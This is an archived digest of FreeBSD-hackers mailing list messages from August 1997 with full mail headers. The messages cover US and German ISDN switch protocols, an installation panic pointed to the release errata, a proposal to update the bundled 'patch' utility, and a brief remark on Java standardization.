<199708100028.TAA05009@dyson.iquest.net> Subject: Re: ISDN drivers/cards In-Reply-To: from Tom Samplonius at "Aug 9, 97 04:55:39 pm" To: tom@sdf.com (Tom Samplonius) Date: Sat, 9 Aug 1997 19:28:07 -0500 (EST) Cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG, jamil@counterintelligence.ml.org Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On Sat, 9 Aug 1997, J Wunsch wrote: > > ... > > Unfortunately, the ISDN landscape in the US is different from Europe. > > Your Telco's didn't even decide for a single switch protocol yet, nor > > do they market ISDN as *I*SDN. In the result, you are left alone to > > NI-1 is standard. I place the blame for non-NI-1 on the switch > manufactures. DMS-100 is close, but not quite. AT&T ISDN is just weird. > I was involved/tracking the various ISDN standards. NI-1 is pathetic, mostly due to the non-AT&T switch manufacturers very lame implementations. Other switch manufacturers have been holding back progress. NI-2 is better, but still not up to the level of AT&T-custom ISDN in a few areas. Features are just beginning to appear that AT&T has had for years. As I have heard, the NT, etc switches still can't deal with new upcoming ISDN standards (and still have quality of implementation issues.) Note that AT&T also does support NI-1 as well as it's own (original, relatively full featured) implementation. John From owner-freebsd-hackers Sat Aug 9 17:55:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23880 for hackers-outgoing; Sat, 9 Aug 1997 17:55:32 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23875 for ; Sat, 9 Aug 1997 17:55:29 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id RAA06092; Sat, 9 Aug 1997 17:52:36 -0700 (PDT) To: Dan Walters cc: hackers@FreeBSD.ORG Subject: Re: Problem with newer installation disks? In-reply-to: Your message of "Sat, 09 Aug 1997 18:21:27 CDT." Date: Sat, 09 Aug 1997 17:52:36 -0700 Message-ID: <6088.871174356@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I was trying to install a snapshot off releng22.freebsd.org a couple weeks > ago on one of our office machines, but got a "panic: double fault" message You have 48MB of RAM in this machine. Please see ftp://ftp.freebsd.org/pub/FreeBSD/2.2.2-RELEASE/ERRATA.TXT JOrdan From owner-freebsd-hackers Sat Aug 9 17:56:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23966 for hackers-outgoing; Sat, 9 Aug 1997 17:56:43 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23961; Sat, 9 Aug 1997 17:56:39 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id TAA00209; Sat, 9 Aug 1997 19:56:32 -0500 (EST) From: "John S. Dyson" Message-Id: <199708100056.TAA00209@dyson.iquest.net> Subject: Re: ISDN drivers/cards In-Reply-To: from Tom Samplonius at "Aug 9, 97 05:41:23 pm" To: tom@sdf.com (Tom Samplonius) Date: Sat, 9 Aug 1997 19:56:32 -0500 (EST) Cc: dyson@freebsd.org, joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org, jamil@counterintelligence.ml.org Reply-To: dyson@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > I was involved/tracking the various ISDN standards. NI-1 is pathetic, mostly > > due to the non-AT&T switch manufacturers very lame implementations. Other > > switch manufacturers have been holding back progress. NI-2 is better, but > > I'm aware of anyone using NI-2 on BRI. I'm pretty sure NI-2 is only for > PRI. I'm not aware of any end-user device that can do NI-2 on BRI either. > NI-2 is also meant for BRI, mostly with new auto-provisioning features. NI-3 might contain better call control across multiple BRI's. PRI's many times don't provide features, even though vendors are working on it. PRI's often supply PBX's which provide the feature set. (Often, not always.) John From owner-freebsd-hackers Sat Aug 9 18:27:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25786 for hackers-outgoing; Sat, 9 Aug 1997 18:27:16 -0700 (PDT) Received: from roguetrader.com (brandon@cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25780 for ; Sat, 9 Aug 1997 18:27:13 -0700 (PDT) Received: from localhost (brandon@localhost) by roguetrader.com (8.8.5/8.8.5) with SMTP id TAA00466 for ; Sat, 9 Aug 1997 19:29:18 -0600 (MDT) Date: Sat, 9 Aug 1997 19:29:18 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: Distributed 'patch' is achingly out of date Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just wondering if anybody has considered getting a newer version of 'patch' included in the source tree? The version we have is 2.1. Version 2.4 is available. Are we running into GNU concerns? Or has nobody noticed? I for one always have to upgrade, because patch 2.1 has arbitrary limits (such as the length of a line cannot extend beyond 4096 chars). Also, patch 2.4 is generally smarter and better--not to mention it works with RCS and SCCS without problem.. -Brandon Gillespie From owner-freebsd-hackers Sat Aug 9 19:12:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA27253 for hackers-outgoing; Sat, 9 Aug 1997 19:12:44 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA27248 for ; Sat, 9 Aug 1997 19:12:41 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id WAA08037; Sat, 9 Aug 1997 22:13:16 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id WAA11968; Sat, 9 Aug 1997 22:13:32 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sat, 9 Aug 1997 22:13:30 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Peter Korsten cc: hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? In-Reply-To: <19970810022419.58644@grendel.IAEhv.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Peter Korsten wrote: > But, as soon as this standard leaves things to be desired, Sun better > put those in a standard, or else the same thing will happen to Java > as has happened to about any other language: divergation. Which is sometimes better than a bloated standard... -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sat Aug 9 23:21:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA05057 for hackers-outgoing; Sat, 9 Aug 1997 23:21:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA05052 for ; Sat, 9 Aug 1997 23:21:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA04507 for hackers@FreeBSD.ORG; Sun, 10 Aug 1997 08:21:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA00107; Sun, 10 Aug 1997 08:14:02 +0200 (MET DST) Message-ID: <19970810081401.FR52634@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 08:14:01 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards References: <19970809212459.FE61477@uriah.heep.sax.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tom Samplonius on Aug 9, 1997 16:55:39 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tom Samplonius wrote: > This seems to be a feature to me. I also don't understand how including > the NT1 defeats the dual analog and digital use of ISDN. The S0 line was intended to be a bus, with up to 8 devices on it. Uk0 ain't a bus, it can only handle a single terminator (that is supposed to provide the S0 bus). I don't speak about just POTS lines: it is very common here in Germany these days that you've got a complete PBX sitting on the S0 bus, as well as other devices like said cheap Teles card(s). (The PBX thing is also caused by the price policy of the Deutsche Telekom, since they've been promoting ISDN with an amount of money that was basically covering the cost for the PBX -- and, one could use the old POTS phones and modems behind the PBX.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-)